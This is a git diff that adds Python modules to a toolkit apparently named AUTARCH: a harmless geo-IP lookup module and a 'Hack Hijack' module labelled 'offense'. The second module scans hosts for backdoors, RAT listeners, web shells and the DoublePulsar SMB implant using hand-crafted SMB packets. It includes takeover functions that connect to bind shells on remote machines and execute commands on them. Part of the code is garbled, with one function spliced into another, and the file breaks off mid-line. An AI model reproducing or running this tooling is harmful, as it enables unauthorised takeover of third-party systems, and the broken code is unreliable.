+ self.timeout = 10 + self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" + self._init_session() + + def _init_session(self): + """Initialize requests session.""" + if requests is None: + return + + self.session = requests.Session() + adapter = requests.adapters.HTTPAdapter(max_retries=2) + self.session.mount('https://', adapter) + self.session.mount('http://', adapter) + self.session.headers.update({'User-Agent': self.user_agent}) + + def _resolve_domain(self, target: str, timeout: int = 4) -> dict: + """Resolve domain to IP addresses. + + Args: + target: Domain name or IP address. + timeout: Socket timeout in seconds. + + Returns: + Dict with resolved IPs and domain info. + """ + result = { + 'domain': None, + 'ipv4': None, + 'ipv6': None, + } + + def get_fqdn(): + try: + result['domain'] = socket.getfqdn(target) + except Exception: + result['domain'] = target + + def get_ips(): + try: + addr_info = socket.getaddrinfo(target, 443) + for info in addr_info: + ip = info[4][0] + try: + if ipaddress.IPv4Address(ip): + result['ipv4'] = ip + except Exception: + pass + try: + if ipaddress.IPv6Address(ip): + result['ipv6'] = ip + except Exception: + pass + except Exception: + pass + + # Run in threads with timeout + t1 = threading.Thread(target=get_fqdn) + t2 = threading.Thread(target=get_ips) + t1.start() + t2.start() + t1.join(timeout) + t2.join(timeout) + + return result + + def _parse_target(self, target: str) -> str: + """Parse and clean target input. + + Args: + target: User input (IP, domain, or URL). + + Returns: + Cleaned target string. + """ + target = target.strip() + + # Check if it's a URL + if '://' in target: + parsed = urlparse(target) + if parsed.hostname: + target = parsed.hostname.replace('www.', '') + elif '/' in target: + target = target.split('/')[0] + + return target + + def _is_ip(self, target: str) -> bool: + """Check if target is an IP address.""" + try: + ipaddress.ip_address(target) + return True + except Exception: + return False + + def lookup(self, target: str) -> dict: + """Perform GEO IP lookup. + + Args: + target: IP address, domain, or URL. + + Returns: + Dict with geolocation information. + """ + if self.session is None: + return {'error': 'requests library not available'} + + target = self._parse_target(target) + + # Validate input + if not target or len(target) < 4: + return {'error': 'Invalid target'} + + if '..' in target: + return {'error': 'Invalid target format'} + + result = { + 'target': target, + 'country_code': None, + 'country': None, + 'region': None, + 'city': None, + 'latitude': None, + 'longitude': None, + 'isp': None, + 'org': None, + 'ipv4': None, + 'ipv6': None, + 'domain': None, + 'map_osm': None, + 'map_google': None, + } + + # Resolve domain/IP + print(f"{Colors.CYAN}[*] Resolving target...{Colors.RESET}") + resolved = self._resolve_domain(target) + result['domain'] = resolved.get('domain') + result['ipv4'] = resolved.get('ipv4') + result['ipv6'] = resolved.get('ipv6') + + # If target is IP, use it directly + if self._is_ip(target): + try: + if ipaddress.IPv4Address(target): + result['ipv4'] = target + except Exception: + pass + try: + if ipaddress.IPv6Address(target): + result['ipv6'] = target + except Exception: + pass + + # Determine IP to lookup + lookup_ip = result['ipv4'] or target + + # Try ipwho.is first + print(f"{Colors.CYAN}[*] Querying geolocation APIs...{Colors.RESET}") + geo_data = self._query_ipwhois(lookup_ip) + + if not geo_data or geo_data.get('success') is False: + # Fallback to ipinfo.io + geo_data = self._query_ipinfo(lookup_ip) + + if geo_data: + result['country_code'] = geo_data.get('country_code') or geo_data.get('country') + result['country'] = geo_data.get('country_name') or geo_data.get('country') + result['region'] = geo_data.get('region') + result['city'] = geo_data.get('city') + result['latitude'] = geo_data.get('latitude') or geo_data.get('lat') + result['longitude'] = geo_data.get('longitude') or geo_data.get('lon') + result['isp'] = geo_data.get('isp') or geo_data.get('org') + result['org'] = geo_data.get('org') + + if not result['ipv4']: + result['ipv4'] = geo_data.get('ip') + + # Generate map links + if result['latitude'] and result['longitude']: + lat, lon = result['latitude'], result['longitude'] + result['map_osm'] = f"https://www.openstreetmap.org/#map=13/{lat}/{lon}" + result['map_google'] = f"https://www.google.com/maps/@{lat},{lon},12z" + + return result + + def _query_ipwhois(self, ip: str) -> dict: + """Query ipwho.is API. + + Args: + ip: IP address to lookup. + + Returns: + Dict with GEO data or None. + """ + try: + url = f"https://ipwho.is/{ip}" if ip else "https://ipwho.is/" + response = self.session.get(url, timeout=self.timeout) + data = response.json() + + if data.get('success') is False: + return None + + return { + 'ip': data.get('ip'), + 'country_code': data.get('country_code'), + 'country_name': data.get('country'), + 'region': data.get('region'), + 'city': data.get('city'), + 'latitude': data.get('latitude'), + 'longitude': data.get('longitude'), + 'isp': data.get('connection', {}).get('isp'), + 'org': data.get('connection', {}).get('org'), + } + except Exception as e: + print(f"{Colors.DIM} ipwho.is error: {e}{Colors.RESET}") + return None + + def _query_ipinfo(self, ip: str) -> dict: + """Query ipinfo.io API. + + Args: + ip: IP address to lookup. + + Returns: + Dict with GEO data or None. + """ + try: + url = f"https://ipinfo.io/{ip}/json" if ip else "https://ipinfo.io/json" + response = self.session.get(url, timeout=self.timeout) + data = response.json() + + loc = data.get('loc', ',').split(',') + lat = float(loc[0]) if len(loc) > 0 and loc[0] else None + lon = float(loc[1]) if len(loc) > 1 and loc[1] else None + + return { + 'ip': data.get('ip'), + 'country_code': data.get('country'), + 'country_name': data.get('country'), + 'region': data.get('region'), + 'city': data.get('city'), + 'latitude': lat, + 'longitude': lon, + 'isp': data.get('org'), + 'org': data.get('org'), + } + except Exception as e: + print(f"{Colors.DIM} ipinfo.io error: {e}{Colors.RESET}") + return None + + def lookup_self(self) -> dict: + """Lookup your own public IP. + + Returns: + Dict with geolocation information. + """ + print(f"{Colors.CYAN}[*] Looking up your public IP...{Colors.RESET}") + return self.lookup('') + + def bulk_lookup(self, targets: list) -> list: + """Perform bulk GEO lookups. + + Args: + targets: List of IPs/domains to lookup. + + Returns: + List of result dicts. + """ + results = [] + for i, target in enumerate(targets): + print(f"\n{Colors.CYAN}[{i+1}/{len(targets)}] Looking up: {target}{Colors.RESET}") + result = self.lookup(target) + results.append(result) + time.sleep(0.5) # Rate limiting + return results + + +def display_result(result: dict): + """Display lookup result nicely.""" + if 'error' in result: + print(f"{Colors.RED}[X] Error: {result['error']}{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}{'=' * 50}{Colors.RESET}") + print(f"{Colors.GREEN}{Colors.BOLD}Target:{Colors.RESET} {result['target']}") + print(f"{Colors.CYAN}{'=' * 50}{Colors.RESET}") + + if result['ipv4']: + print(f" {Colors.GREEN}IPv4:{Colors.RESET} {result['ipv4']}") + if result['ipv6']: + print(f" {Colors.GREEN}IPv6:{Colors.RESET} {result['ipv6']}") + if result['domain'] and result['domain'] != result['target']: + print(f" {Colors.GREEN}Domain:{Colors.RESET} {result['domain']}") + + print() + + if result['country_code']: + country_str = f"{result['country_code']}" + if result['country'] and result['country'] != result['country_code']: + country_str += f" ({result['country']})" + print(f" {Colors.GREEN}Country:{Colors.RESET} {country_str}") + + if result['region']: + print(f" {Colors.GREEN}Region:{Colors.RESET} {result['region']}") + if result['city']: + print(f" {Colors.GREEN}City:{Colors.RESET} {result['city']}") + if result['isp']: + print(f" {Colors.GREEN}ISP:{Colors.RESET} {result['isp']}") + + if result['latitude'] and result['longitude']: + print(f"\n {Colors.GREEN}Coordinates:{Colors.RESET} {result['latitude']}, {result['longitude']}") + + if result['map_osm']: + print(f"\n {Colors.DIM}OpenStreetMap: {result['map_osm']}{Colors.RESET}") + if result['map_google']: + print(f" {Colors.DIM}Google Maps: {result['map_google']}{Colors.RESET}") + + print() + + +def display_menu(): + """Display the GEO IP module menu.""" + print(f""" +{Colors.CYAN} GEO IP/Domain Lookup{Colors.RESET} +{Colors.DIM} Get geolocation for IPs, domains, and URLs{Colors.RESET} +{Colors.DIM}{'─' * 50}{Colors.RESET} + + {Colors.GREEN}[1]{Colors.RESET} Lookup IP/Domain/URL + {Colors.GREEN}[2]{Colors.RESET} Lookup My IP + {Colors.GREEN}[3]{Colors.RESET} Bulk Lookup from File + + {Colors.RED}[0]{Colors.RESET} Back to OSINT Menu +""") + + +def run(): + """Main entry point for the module.""" + if requests is None: + print(f"{Colors.RED}[X] This module requires 'requests' library{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install requests{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + return + + lookup = GeoIPLookup() + + while True: + display_menu() + choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + print(f"\n{Colors.CYAN}Enter IP, domain, or URL:{Colors.RESET}") + print(f"{Colors.DIM}Examples: 8.8.8.8, google.com, https://example.com/path{Colors.RESET}") + target = input(f"\n{Colors.GREEN}Target: {Colors.RESET}").strip() + + if not target: + continue + + result = lookup.lookup(target) + display_result(result) + input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + result = lookup.lookup_self() + display_result(result) + input(f"{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '3': + print(f"\n{Colors.CYAN}Enter path to file with targets (one per line):{Colors.RESET}") + filepath = input(f"\n{Colors.GREEN}File path: {Colors.RESET}").strip() + + if not filepath or not os.path.exists(filepath): + print(f"{Colors.RED}[X] File not found{Colors.RESET}") + continue + + try: + with open(filepath, 'r') as f: + targets = [line.strip() for line in f if line.strip()] + + if not targets: + print(f"{Colors.RED}[X] No targets found in file{Colors.RESET}") + continue + + print(f"{Colors.GREEN}[+] Found {len(targets)} targets{Colors.RESET}") + confirm = input(f"\n{Colors.YELLOW}Proceed with lookup? (y/n): {Colors.RESET}").strip().lower() + + if confirm == 'y': + results = lookup.bulk_lookup(targets) + for result in results: + display_result(result) + + except Exception as e: + print(f"{Colors.RED}[X] Error reading file: {e}{Colors.RESET}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + else: + print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hack_hijack.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hack_hijack.py new file mode 100644 index 0000000..9e9b097 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/hack_hijack.py @@ -0,0 +1,1100 @@ +"""AUTARCH Hack Hijack Module + +Scans target systems for signs of existing compromise — open backdoors, +known exploit artifacts, rogue services, suspicious listeners — then +provides tools to take over those footholds. + +Detection signatures include: +- EternalBlue/DoublePulsar (MS17-010) backdoors +- Common RAT listeners (Meterpreter, Cobalt Strike, njRAT, etc.) +- Known backdoor ports and banner fingerprints +- Web shells on HTTP services +- Suspicious SSH authorized_keys or rogue SSHD +- Open reverse-shell listeners +- Rogue SOCKS/HTTP proxies +- Cryptocurrency miners +""" + +DESCRIPTION = "Hijack already-compromised systems" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import json +import time +import socket +import struct +import threading +import subprocess +from datetime import datetime, timezone +from pathlib import Path +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Known Backdoor Signatures ──────────────────────────────────────────────── + +@dataclass +class BackdoorSignature: + name: str + port: int + protocol: str # tcp / udp + banner_pattern: str = '' # regex or substring in banner + probe: bytes = b'' # bytes to send to trigger banner + description: str = '' + category: str = 'generic' # eternalblue, rat, webshell, miner, proxy, shell + takeover_method: str = '' # how to hijack + + +# Port-based detection signatures +BACKDOOR_SIGNATURES: List[BackdoorSignature] = [ + # ── EternalBlue / DoublePulsar ──────────────────────────────────────── + BackdoorSignature( + name='DoublePulsar SMB Backdoor', + port=445, + protocol='tcp', + description='NSA DoublePulsar implant via EternalBlue (MS17-010). ' + 'Detected by SMB Trans2 SESSION_SETUP anomaly.', + category='eternalblue', + takeover_method='doublepulsar_inject', + ), + + # ── Common RAT / C2 Listeners ───────────────────────────────────────── + BackdoorSignature( + name='Meterpreter Reverse TCP', + port=4444, + protocol='tcp', + banner_pattern='', + description='Default Metasploit Meterpreter reverse TCP handler.', + category='rat', + takeover_method='meterpreter_session', + ), + BackdoorSignature( + name='Meterpreter Bind TCP', + port=4444, + protocol='tcp', + banner_pattern='', + description='Metasploit bind shell / Meterpreter bind TCP.', + category='rat', + takeover_method='meterpreter_connect', + ), + BackdoorSignature( + name='Cobalt Strike Beacon (HTTPS)', + port=443, + protocol='tcp', + banner_pattern='', + description='Cobalt Strike default HTTPS beacon listener.', + category='rat', + takeover_method='beacon_takeover', + ), + BackdoorSignature( + name='Cobalt Strike Beacon (HTTP)', + port=80, + protocol='tcp', + banner_pattern='', + description='Cobalt Strike HTTP beacon listener.', + category='rat', + takeover_method='beacon_takeover', + ), + BackdoorSignature( + name='Cobalt Strike DNS', + port=53, + protocol='udp', + description='Cobalt Strike DNS beacon channel.', + category='rat', + takeover_method='dns_tunnel_hijack', + ), + BackdoorSignature( + name='njRAT', + port=5552, + protocol='tcp', + banner_pattern='njRAT', + description='njRAT default C2 port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='DarkComet', + port=1604, + protocol='tcp', + banner_pattern='', + description='DarkComet RAT default port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Quasar RAT', + port=4782, + protocol='tcp', + description='Quasar RAT default listener.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='AsyncRAT', + port=6606, + protocol='tcp', + description='AsyncRAT default C2 port.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Gh0st RAT', + port=8000, + protocol='tcp', + banner_pattern='Gh0st', + probe=b'Gh0st\x00', + description='Gh0st RAT C2 communication.', + category='rat', + takeover_method='generic_connect', + ), + BackdoorSignature( + name='Poison Ivy', + port=3460, + protocol='tcp', + description='Poison Ivy RAT default port.', + category='rat', + takeover_method='generic_connect', + ), + + # ── Shell Backdoors ─────────────────────────────────────────────────── + BackdoorSignature( + name='Netcat Listener', + port=4445, + protocol='tcp', + description='Common netcat reverse/bind shell port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Bind Shell (31337)', + port=31337, + protocol='tcp', + description='Classic "elite" backdoor port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Bind Shell (1337)', + port=1337, + protocol='tcp', + description='Common backdoor/bind shell port.', + category='shell', + takeover_method='raw_shell', + ), + BackdoorSignature( + name='Telnet Backdoor', + port=23, + protocol='tcp', + banner_pattern='login:', + description='Telnet service — often left open with weak/default creds.', + category='shell', + takeover_method='telnet_bruteforce', + ), + + # ── Web Shells ──────────────────────────────────────────────────────── + BackdoorSignature( + name='PHP Web Shell (8080)', + port=8080, + protocol='tcp', + banner_pattern='', + description='HTTP service on non-standard port — check for web shells.', + category='webshell', + takeover_method='webshell_detect', + ), + BackdoorSignature( + name='PHP Web Shell (8888)', + port=8888, + protocol='tcp', + description='HTTP service on port 8888 — common web shell host.', + category='webshell', + takeover_method='webshell_detect', + ), + + # ── Proxies / Tunnels ───────────────────────────────────────────────── + BackdoorSignature( + name='SOCKS Proxy', + port=1080, + protocol='tcp', + description='SOCKS proxy — may be a pivot point.', + category='proxy', + takeover_method='socks_connect', + ), + BackdoorSignature( + name='SOCKS5 Proxy (9050)', + port=9050, + protocol='tcp', + description='Tor SOCKS proxy or attacker pivot.', + category='proxy', + takeover_method='socks_connect', + ), + BackdoorSignature( + name='HTTP Proxy (3128)', + port=3128, + protocol='tcp', + description='Squid/HTTP proxy — possible attacker tunnel.', + category='proxy', + takeover_method='http_proxy_use', + ), + BackdoorSignature( + name='SSH Tunnel (2222)', + port=2222, + protocol='tcp', + banner_pattern='SSH-', + description='Non-standard SSH — possibly attacker-planted SSHD.', + category='shell', + takeover_method='ssh_connect', + ), + + # ── Miners ──────────────────────────────────────────────────────────── + BackdoorSignature( + name='Cryptominer Stratum', + port=3333, + protocol='tcp', + banner_pattern='mining', + description='Stratum mining protocol — cryptojacking indicator.', + category='miner', + takeover_method='miner_redirect', + ), + BackdoorSignature( + name='Cryptominer (14444)', + port=14444, + protocol='tcp', + description='Common XMR mining pool port.', + category='miner', + takeover_method='miner_redirect', + ), +] + +# Additional ports to probe beyond signature list +EXTRA_SUSPICIOUS_PORTS = [ + 1234, 1337, 2323, 3389, 4321, 4443, 4444, 4445, 5555, 5900, + 6660, 6666, 6667, 6697, 7777, 8443, 9001, 9090, 9999, + 12345, 17321, 17322, 20000, 27015, 31337, 33890, 40000, + 41337, 43210, 50000, 54321, 55553, 65535, +] + + +# ── Scan Result Types ───────────────────────────────────────────────────────── + +@dataclass +class PortResult: + port: int + protocol: str + state: str # open, closed, filtered + banner: str = '' + service: str = '' + + +@dataclass +class BackdoorHit: + signature: str # name from BackdoorSignature + port: int + confidence: str # high, medium, low + banner: str = '' + details: str = '' + category: str = '' + takeover_method: str = '' + + +@dataclass +class ScanResult: + target: str + scan_time: str + duration: float + open_ports: List[PortResult] = field(default_factory=list) + backdoors: List[BackdoorHit] = field(default_factory=list) + os_guess: str = '' + smb_info: Dict[str, Any] = field(default_factory=dict) + nmap_raw: str = '' + + def to_dict(self) -> dict: + return { + 'target': self.target, + 'scan_time': self.scan_time, + 'duration': round(self.duration, 2), + 'open_ports': [ + {'port': p.port, 'protocol': p.protocol, + 'state': p.state, 'banner': p.banner, 'service': p.service} + for p in self.open_ports + ], + 'backdoors': [ + {'signature': b.signature, 'port': b.port, + 'confidence': b.confidence, 'banner': b.banner, + 'details': b.details, 'category': b.category, + 'takeover_method': b.takeover_method} + for b in self.backdoors + ], + 'os_guess': self.os_guess, + 'smb_info': self.smb_info, + } + + +# ── Hack Hijack Service ────────────────────────────────────────────────────── + +class HackHijackService: + """Scans for existing compromises and provides takeover capabilities.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'hack_hijack') + os.makedirs(self._data_dir, exist_ok=True) + self._scans_file = os.path.join(self._data_dir, 'scans.json') + self._scans: List[dict] = [] + self._load_scans() + self._active_sessions: Dict[str, dict] = {} + + def _load_scans(self): + if os.path.exists(self._scans_file): + try: + with open(self._scans_file, 'r') as f: + self._scans = json.load(f) + except Exception: + self._scans = [] + + def _save_scans(self): + with open(self._scans_file, 'w') as f: + json.dump(self._scans[-100:], f, indent=2) # keep last 100 + + # ── Port Scanning ───────────────────────────────────────────────────── + + def scan_target(self, target: str, scan_type: str = 'quick', + custom_ports: List[int] = None, + timeout: float = 3.0, + progress_cb=None) -> ScanResult: + """Scan a target for open ports and backdoor indicators. + + scan_type: 'quick' (signature ports only), 'full' (signature + extra), + 'nmap' (use nmap if available), 'custom' (user-specified ports) + """ + start = time.time() + result = ScanResult( + target=target, + scan_time=datetime.now(timezone.utc).isoformat(), + duration=0.0, + ) + + # Build port list + ports = set() + if scan_type == 'custom' and custom_ports: + ports = set(custom_ports) + else: + # Always include signature ports + for sig in BACKDOOR_SIGNATURES: + ports.add(sig.port) + if scan_type in ('full', 'nmap'): + ports.update(EXTRA_SUSPICIOUS_PORTS) + + # Try nmap first if requested and available + if scan_type == 'nmap': + nmap_result = self._nmap_scan(target, ports, timeout) + if nmap_result: + result.open_ports = nmap_result.get('ports', []) + result.os_guess = nmap_result.get('os', '') + result.nmap_raw = nmap_result.get('raw', '') + + # Fallback: socket-based scan + if not result.open_ports: + sorted_ports = sorted(ports) + total = len(sorted_ports) + results_lock = threading.Lock() + open_ports = [] + + def scan_port(port): + pr = self._check_port(target, port, timeout) + if pr and pr.state == 'open': + with results_lock: + open_ports.append(pr) + + # Threaded scan — 50 concurrent threads + threads = [] + for i, port in enumerate(sorted_ports): + t = threading.Thread(target=scan_port, args=(port,), daemon=True) + threads.append(t) + t.start() + if len(threads) >= 50: + for t in threads: + t.join(timeout=timeout + 2) + threads.clear() + if progress_cb and i % 10 == 0: + progress_cb(i, total) + for t in threads: + t.join(timeout=timeout + 2) + + result.open_ports = sorted(open_ports, key=lambda p: p.port) + + # Match open ports against backdoor signatures + result.backdoors = self._match_signatures(target, result.open_ports, timeout) + + # Check SMB specifically for EternalBlue + if any(p.port == 445 and p.state == 'open' for p in result.open_ports): + result.smb_info = self._check_smb(target, timeout) + # Check DoublePulsar + dp_result = self._check_doublepulsar(target, timeout) + if dp_result: + result.backdoors.append(dp_result) + + result.duration = time.time() - start + + # Save scan + scan_dict = result.to_dict() + self._scans.append(scan_dict) + self._save_scans() + + return result + + def _check_port(self, host: str, port: int, timeout: float) -> Optional[PortResult]: + """TCP connect scan on a single port with banner grab.""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, port)) + if result == 0: + banner = '' + service = '' + try: + # Try to grab banner + sock.settimeout(2.0) + # Send probe for known ports + probe = self._get_probe(port) + if probe: + sock.send(probe) + banner = sock.recv(1024).decode('utf-8', errors='replace').strip() + service = self._identify_service(port, banner) + except Exception: + service = self._identify_service(port, '') + sock.close() + return PortResult(port=port, protocol='tcp', state='open', + banner=banner[:512], service=service) + sock.close() + except Exception: + pass + return None + + def _get_probe(self, port: int) -> bytes: + """Return an appropriate probe for known ports.""" + probes = { + 21: b'', # FTP sends banner automatically + 22: b'', # SSH sends banner automatically + 23: b'', # Telnet sends banner automatically + 25: b'', # SMTP sends banner + 80: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 110: b'', # POP3 banner + 143: b'', # IMAP banner + 443: b'', # HTTPS — won't get plaintext banner + 3306: b'', # MySQL banner + 3389: b'', # RDP — binary protocol + 5432: b'', # PostgreSQL + 6379: b'INFO\r\n', # Redis + 8080: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 8443: b'', + 8888: b'GET / HTTP/1.0\r\nHost: localhost\r\n\r\n', + 27017: b'', # MongoDB + } + # Check backdoor signatures for specific probes + for sig in BACKDOOR_SIGNATURES: + if sig.port == port and sig.probe: + return sig.probe + return probes.get(port, b'') + + def _identify_service(self, port: int, banner: str) -> str: + """Identify service from port number and banner.""" + bl = banner.lower() + if 'ssh-' in bl: + return 'SSH' + if 'ftp' in bl: + return 'FTP' + if 'smtp' in bl or '220 ' in bl: + return 'SMTP' + if 'http' in bl: + return 'HTTP' + if 'mysql' in bl: + return 'MySQL' + if 'redis' in bl: + return 'Redis' + if 'mongo' in bl: + return 'MongoDB' + if 'postgresql' in bl: + return 'PostgreSQL' + + well_known = { + 21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP', + 53: 'DNS', 80: 'HTTP', 110: 'POP3', 143: 'IMAP', + 443: 'HTTPS', 445: 'SMB', 993: 'IMAPS', 995: 'POP3S', + 1080: 'SOCKS', 1433: 'MSSQL', 1521: 'Oracle', + 3306: 'MySQL', 3389: 'RDP', 5432: 'PostgreSQL', + 5900: 'VNC', 6379: 'Redis', 8080: 'HTTP-Alt', + 8443: 'HTTPS-Alt', 27017: 'MongoDB', + } + return well_known.get(port, 'unknown') + + def _match_signatures(self, host: str, open_ports: List[PortResult], + timeout: float) -> List[BackdoorHit]: + """Match open ports against backdoor signatures.""" + hits = [] + port_map = {p.port: p for p in open_ports} + + for sig in BACKDOOR_SIGNATURES: + if sig.port not in port_map: + continue + port_info = port_map[sig.port] + confidence = 'low' + details = '' + + # Banner match raises confidence + if sig.banner_pattern and sig.banner_pattern.lower() in port_info.banner.lower(): + confidence = 'high' + details = f'Banner matches: {sig.banner_pattern}' + elif port_info.banner: + # Port open with some banner — medium + confidence = 'medium' + details = f'Port open, banner: {port_info.banner[:100]}' + else: + # Port open but no banner — check if it's a well-known service + if port_info.service in ('SSH', 'HTTP', 'HTTPS', 'FTP', 'SMTP', + 'DNS', 'MySQL', 'PostgreSQL', 'RDP'): + # Legitimate service likely — low confidence for backdoor + confidence = 'low' + details = f'Port open — likely legitimate {port_info.service}' + else: + confidence = 'medium' + details = 'Port open, no banner — suspicious' + + hits.append(BackdoorHit( + signature=sig.name, + port=sig.port, + confidence=confidence, + banner=port_info.banner[:256], + details=details, + category=sig.category, + takeover_method=sig.takeover_method, + )) + + return hits + + # ── SMB / EternalBlue Detection ─────────────────────────────────────── + + def _check_smb(self, host: str, timeout: float) -> dict: + """Check SMB service details.""" + info = {'vulnerable': False, 'version': '', 'os': '', 'signing': ''} + nmap = find_tool('nmap') + if not nmap: + return info + try: + cmd = [nmap, '-Pn', '-p', '445', '--script', + 'smb-os-discovery,smb-security-mode,smb-vuln-ms17-010', + '-oN', '-', host] + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=30) + output = result.stdout + info['raw'] = output + if 'VULNERABLE' in output or 'ms17-010' in output.lower(): + info['vulnerable'] = True + if 'OS:' in output: + for line in output.splitlines(): + if 'OS:' in line: + info['os'] = line.split('OS:')[1].strip() + break + if 'message_signing' in output.lower(): + if 'disabled' in output.lower(): + info['signing'] = 'disabled' + elif 'enabled' in output.lower(): + info['signing'] = 'enabled' + except Exception as e: + info['error'] = str(e) + return info + + def _check_doublepulsar(self, host: str, timeout: float) -> Optional[BackdoorHit]: + """Check for DoublePulsar SMB implant via Trans2 SESSION_SETUP probe. + + DoublePulsar responds to a specific SMB Trans2 SESSION_SETUP with + a modified multiplex ID (STATUS_NOT_IMPLEMENTED + MID manipulation). + """ + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, 445)) + + # SMB negotiate + negotiate = ( + b'\x00\x00\x00\x85' # NetBIOS + b'\xff\x53\x4d\x42' # SMB + b'\x72' # Negotiate + b'\x00\x00\x00\x00' # Status + b'\x18\x53\xc0' # Flags + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x00\xff\xff\xff\xfe\x00\x00' + b'\x00\x00\x00\x00\x00\x62\x00' + b'\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b' + b'\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e' + b'\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e' + b'\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20' + b'\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f' + b'\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c' + b'\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c' + b'\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e' + b'\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00' + ) + sock.send(negotiate) + sock.recv(1024) + + # SMB Trans2 SESSION_SETUP (DoublePulsar detection probe) + trans2 = ( + b'\x00\x00\x00\x4e' # NetBIOS + b'\xff\x53\x4d\x42' # SMB header + b'\x32' # Trans2 + b'\x00\x00\x00\x00' # Status + b'\x18\x07\xc0' # Flags + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x00\x00\x00\xff\xfe\x00\x08' # MID=0x0800 + b'\x00\x00\x0f\x0c\x00\x00\x00\x01' + b'\x00\x00\x00\x00\x00\x00\x00' + b'\xa6\xd9\xa4\x00\x00\x00\x00\x00' + b'\x00\x0e\x00\x00\x00\x0c\x00\x42\x00' + b'\x00\x00\x00\x00\x01\x00\x0e\x00' + b'\x00\x00\x0c\x00\x00\x00\x00\x00' + ) + sock.send(trans2) + resp = sock.recv(1024) + sock.close() + + if len(resp) >= 36: + # Check multiplex ID — DoublePulsar modifies it + mid = struct.unpack(' Optional[dict]: + """Use nmap for comprehensive scan if available.""" + nmap = find_tool('nmap') + if not nmap: + return None + try: + port_str = ','.join(str(p) for p in sorted(ports)) + cmd = [nmap, '-Pn', '-sV', '-O', '--version-intensity', '5', + '-p', port_str, '-oN', '-', host] + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=120) + output = result.stdout + parsed_ports = [] + os_guess = '' + + for line in output.splitlines(): + # Parse port lines: "445/tcp open microsoft-ds" + if '/tcp' in line or '/udp' in line: + parts = line.split() + if len(parts) >= 3: + port_proto = parts[0].split('/') + if len(port_proto) == 2 and parts[1] == 'open': + parsed_ports.append(PortResult( + port=int(port_proto[0]), + protocol=port_proto[1], + state='open', + service=' '.join(parts[2:]), + )) + if 'OS details:' in line: + os_guess = line.split('OS details:')[1].strip() + elif 'Running:' in line: + os_guess = os_guess or line.split('Running:')[1].strip() + + return { + 'ports': parsed_ports, + 'os': os_guess, + 'raw': output, + } + except Exception: + return None + + # ── Takeover Methods ────────────────────────────────────────────────── + + def connect_raw_shell(self, host: str, port: int, + timeout: float = 5.0) -> dict: + """Connect to a raw bind shell (netcat-style).""" + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, port)) + # Try to get initial output + try: + sock.settimeout(2.0) + initial = sock.recv(4096).decode('utf-8', errors='replace') + except Exception: + initial = '' + session_id = f'shell_{host}_{port}_{int(time.time())}' + self._active_sessions[session_id] = { + 'type': 'raw_shell', + 'host': host, + 'port': port, + 'socket': sock, + 'connected_at': datetime.now(timezone.utc).isoformat(), + } + return { + 'ok': True, + 'session_id': session_id, + 'initial_output': initial, + 'message': f'Connected to bind shell at {host}:{port}', + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def shell_execute(self, session_id: str, command: str, + timeout: float = 10.0) -> dict: + """Execute a command on an active shell session.""" + session = self._active_sessions.get(session_id) + if not session: + return {'ok': False, 'error': 'Session not found'} + sock = session.get('socket') + if not sock: + return {'ok': False, 'error': 'No socket for session'} + try: + sock.settimeout(timeout) + sock.send((command + '\n').encode()) + time.sleep(0.5) + output = b'' + sock.settimeout(2.0) + while True: + try: + chunk = sock.recv(4096) + if not chunk: + break + output += chunk + except socket.timeout: + break + return { + 'ok': True, + 'output': output.decode('utf-8', errors='replace'), + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def close_session(self, session_id: str) -> dict: + """Close an active session.""" + session = self._active_sessions.pop(session_id, None) + if not session: + return {'ok': False, 